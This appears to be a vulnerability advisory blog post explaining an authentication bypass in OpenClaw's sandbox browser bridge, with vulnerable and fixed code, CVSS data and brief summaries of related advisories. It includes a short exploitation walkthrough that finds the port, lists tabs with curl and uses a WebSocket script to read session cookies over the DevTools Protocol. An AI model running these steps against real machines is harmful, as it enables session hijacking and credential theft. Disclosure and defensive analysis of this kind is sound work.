Feb 18, 2026·6 min read·27 visits
OpenClaw forgot to turn the lock on. The sandbox bridge server initialized without credentials, defaulting to 'fail-open' mode. Local attackers can connect to the ephemeral port, access the Chrome DevTools Protocol, and hijack the browser session.
OpenClaw's sandbox browser bridge server failed to enforce authentication during initialization, allowing local attackers to bypass security controls. This failure to wire credentials turned the secure browser environment into an open proxy, permitting arbitrary Chrome DevTools Protocol (CDP) execution and session hijacking.
Modern AI assistants like OpenClaw are hungry. They want to read the web, interact with your apps, and generally be helpful digital butlers. To do this safely, they spawn 'sandboxed' browser instances—headless Chrome processes that do the heavy lifting without (theoretically) exposing the host machine to the cesspool of the internet.
To control these sandboxed browsers, OpenClaw uses a Bridge Server. Think of this as the puppet master. It listens on a local port and translates high-level commands from the AI agent into low-level Chrome DevTools Protocol (CDP) messages. It exposes endpoints like /tabs, /profiles, and crucially, the WebSocket URLs for direct debugging.
In a perfect world, this bridge is a fortress. It should require a strict handshake, a generated token, or a secret handshake known only to the parent process. But in OpenClaw versions prior to 2026.2.14, the architect forgot to install the front door. The bridge server was initialized in a state that effectively said, 'Come on in, the water's fine.'
The vulnerability here isn't a complex buffer overflow or a math wizard's crypto-break. It is a classic logic error known as Initialization Failure. The code for the bridge server (src/browser/bridge-server.ts) actually contained logic to check for authentication tokens. It wasn't completely naive. However, it suffered from a fatal design choice: Fail Open.
The logic roughly followed this path: 'If I have been given a password, I will check it. If I haven't been given a password, I assume we are in development mode or trusted territory, and I will let everyone in.'
The catastrophic failure occurred in src/agents/sandbox/browser.ts. When the main application spun up the sandbox, it simply forgot to pass the credentials to the bridge server instance. Because the server received no credentials during startup, it defaulted to its insecure state. It bound to a random ephemeral port on 127.0.0.1 and waited for commands—from anyone.
Let's look at the anatomy of the failure. The fix commits reveal exactly where the logic was lacking. In the vulnerable version, the authentication middleware was passive. It checked for the existence of a config before enforcing it.
Here is the conceptual flow of the vulnerable code:
// src/browser/bridge-server.ts (Vulnerable)
start(config) {
this.authToken = config.authToken;
app.use((req, res, next) => {
// If no token was configured, just let them through!
if (!this.authToken) {
return next();
}
// Otherwise check the header...
if (req.headers['authorization'] !== this.authToken) {
return res.sendStatus(401);
}
next();
});
}The fix (in version 2026.2.14) inverts this logic. It enforces a Fail Closed model. If the bridge server is started without a token, it panics and refuses to start. This forces the developer (and the calling code) to provide security credentials.
// src/browser/bridge-server.ts (Fixed)
start(config) {
if (!config.authToken) {
throw new Error("Security violation: Bridge server started without auth!");
}
this.authToken = config.authToken;
app.use((req, res, next) => {
// No more free passes.
// We also use constant-time comparison now to prevent timing attacks.
if (!safeEqualSecret(req.headers['authorization'], this.authToken)) {
return res.sendStatus(401);
}
next();
});
}The patch also included updates to resolveSandboxContext to ensure those tokens are actually generated and passed down, closing the loop.
Exploiting this is trivially easy for any malicious code running on the same machine (e.g., a malicious npm package, a compromised script, or a rogue employee). Because the bridge server binds to a random high port, the only hurdle is finding it.
Step 1: Reconnaissance
The attacker scans 127.0.0.1 for open ports. Since the bridge server is based on Express, it responds to HTTP requests.
# Find the port (example output)
$ netstat -an | grep LISTENING
tcp4 0 0 127.0.0.1.54321 *.* LISTENStep 2: Enumeration
The attacker queries the /tabs endpoint of the suspected ports. If they hit the OpenClaw bridge, they get a JSON list of all open tabs, including their WebSocket debugger URLs.
$ curl http://127.0.0.1:54321/tabs
[
{
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=...",
"id": "EF123...",
"title": "Bank of America - Login",
"type": "page",
"url": "https://www.bankofamerica.com",
"webSocketDebuggerUrl": "ws://127.0.0.1:54321/devtools/page/EF123..."
}
]Step 3: Hijacking
With the webSocketDebuggerUrl, the attacker has full god-mode access to that tab via CDP. They can execute arbitrary JavaScript to steal cookies, dump local storage, or navigate the browser to a malicious site.
// Attacker script connecting to the leaked WS URL
const ws = new WebSocket('ws://127.0.0.1:54321/devtools/page/EF123...');
ws.onopen = () => {
// Execute JS to steal cookies
ws.send(JSON.stringify({
id: 1,
method: "Runtime.evaluate",
params: { expression: "document.cookie" }
}));
};There is a pervasive myth among developers that binding to 127.0.0.1 is a security feature. It is not. It is merely a boundary. In a multi-user environment, or an environment where users run third-party code (like npm install), the local loopback interface is a hostile warzone.
By bypassing authentication on the bridge, OpenClaw essentially allowed any process on the user's machine to peer into the user's most sensitive browsing sessions.
If the AI assistant was logged into a corporate SSO portal, the attacker now has the session token. If the AI was summarizing a confidential email, the attacker can read it. This escalates a simple local execution privilege into a massive privacy violation and potential identity theft event.
The remediation in version 2026.2.14 is comprehensive. The developers didn't just fix the initialization bug; they hardened the entire architecture.
1. Explicit Auth Requirements: The server now throws an exception if it starts without credentials. No more fail-open defaults.
2. Constant-Time Comparison: They switched to safeEqualSecret for token validation, eliminating potential timing attacks that could allow an attacker to guess the token byte-by-byte (though checking a UUID over a local network via timing is theoretically hard, it's good practice).
3. Bridge Auth Registry: A new internal registry maps ephemeral ports to their generated tokens, ensuring that legitimate internal clients (the AI agent itself) can find and authenticate to the bridge without hardcoding secrets.
Recommendation: Update immediately. If you cannot update, disable the sandbox browser feature in your configuration file to close the attack vector completely.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw openclaw | >=2026.1.29-beta.1 <2026.2.14 | 2026.2.14 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-287 |
| Attack Vector | Local (AV:L) |
| CVSS Score | 7.1 (High) |
| Exploit Status | Trivial (No Public PoC) |
| Impact | Session Hijacking / RCE |
| Affected Component | Sandbox Browser Bridge |
Improper Authentication
A directory traversal vulnerability exists in the mcp-atlassian integration server prior to version 0.22.0. The confluence_upload_attachment tool fails to restrict the paths of uploaded files, allowing authenticated users or external prompt injection payloads to retrieve and exfiltrate arbitrary files from the server's filesystem into Confluence.
A critical-severity Stored Cross-Site Scripting (XSS) vulnerability exists in the SiYuan personal knowledge management system. Due to missing sanitization in the attribute-view cell renderer and an insecure Electron default configuration (nodeIntegration: true), attackers can execute arbitrary commands on the victim's host operating system through synchronized workspaces.
A critical-severity stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan's Attribute View database asset cell renderer. This flaw allows low-privilege authenticated users to execute arbitrary JavaScript in the application frontend. In Electron-based desktop clients, this execution context can be leveraged to execute arbitrary native operating system commands, resulting in complete system compromise.
Clauster versions up to and including v0.2.1 suffer from an authentication bypass vulnerability. This issue occurs when Clauster is configured with an authentication method but the master auth.enabled key is omitted or set to false, allowing unauthenticated network access to administrative endpoints and arbitrary code execution through managed Claude Code bridges.
An authentication bypass and token leakage vulnerability exists in TSDProxy before version 1.4.4. The application unconditionally forwards its internal administrative token to all proxied backend services when identity headers are enabled. Attackers with control over an upstream backend can capture this token and replay it to the local management API to achieve full administrative control over the proxy engine.
A high-severity Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan prior to version 3.7.0. The vulnerability is located within the server-side Markdown-to-HTML parsing component for the Bazaar marketplace packages. Due to an incomplete event-handler attribute blocklist in the lute parsing engine and a lack of client-side DOM sanitization, malicious package authors can bypass restrictions using modern HTML5 event handlers. When an authenticated administrator views a malicious package, the embedded JavaScript runs in the administrator origin, allowing unauthorized workspace access, local file reading, and remote API execution.